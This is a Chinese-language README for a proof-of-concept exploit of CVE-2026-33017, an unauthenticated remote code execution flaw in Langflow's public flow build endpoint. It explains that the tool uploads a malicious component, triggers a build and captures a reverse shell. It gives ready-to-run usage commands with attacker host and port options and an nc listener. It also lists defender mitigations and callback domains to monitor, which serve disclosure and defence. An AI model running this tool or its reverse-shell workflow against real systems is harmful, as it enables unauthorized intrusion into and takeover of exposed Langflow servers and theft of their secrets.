CVE-2026-33017 Langflow ("Langflop") 未认证 RCE PoC

该 PoC 针对 Langflow 中未认证的 build_public_tmp 代码执行漏洞。它通过向公共流程上传恶意组件，触发构建，并捕获反弹 shell。

仅限授权安全测试。 只对您拥有或获得明确测试许可的系统使用。

环境要求

• Python 3
• requests (pip install requests)

使用方法

运行内置监听器并一次性触发漏洞利用：

python3 poc.py \
  --url https://target:7860 \
  --flow-id <public-flow-uuid> \
  --lhost <your-ip> \
  --lport 4444 \
  --listen

当 shell 连接时，它 会自动尝试升级为完全交互式 shell。

如果您更愿意使用自己的监听器（例如 nc -lvnp 4444），请去掉 --listen：

python3 poc.py --url https://target:7860 --flow-id <uuid> --lhost <your-ip> --lport 4444

选项

信息

CVE-2026-33017 是 Langflow 的 POST /api/v1/build_public_tmp/{flow_id}/flow 端点中的一个未认证 RCE 漏洞，该端点会在没有沙箱的情况下执行流程节点定义中由攻击者提供的 Python。要了解更多信息，请查看以下资源：

• Sysdig 威胁研究文章：CVE-2026-33017：攻击者如何在 20 小时内攻陷 Langflow AI 管道
• NVD: CVE-2026-33017

建议（防御者）

以下缓解措施来自 Sysdig 威胁研究文章：

• 更新 Langflow 至最新版本。如果尚无可用的修补版本，请限制对 /api/v1/build_public_tmp 端点的网络访问，或完全禁用公共流程构建。
• 审计任何公开暴露的 Langflow 实例上的环境变量和机密。作为预防措施，轮换 API 密钥、数据库密码和云凭据。
• 监控到不常见端口或已知回调服务（oastify.com、interact.sh、dnslog.cn）的出站连接，这些表明存在主动利用和数据泄露。
• 限制对 Langflow 实例的网络访问，使用防火墙规则或带身份验证的反向代理。!!Langflow 不应在没有身份验证层的情况下直接暴露到互联网!!
• 盘点您环境中的 AI/ML 工具。诸如 Langflow、n8n 和其他工作流自动化工具等平台正日益成为攻击目标，因为它们通常具有广泛的 API 访问权限，并且部署在标准安全审查流程之外。

免责声明

此工具仅用于研究和授权渗透测试。作者对滥用或造成的损害不承担任何责任。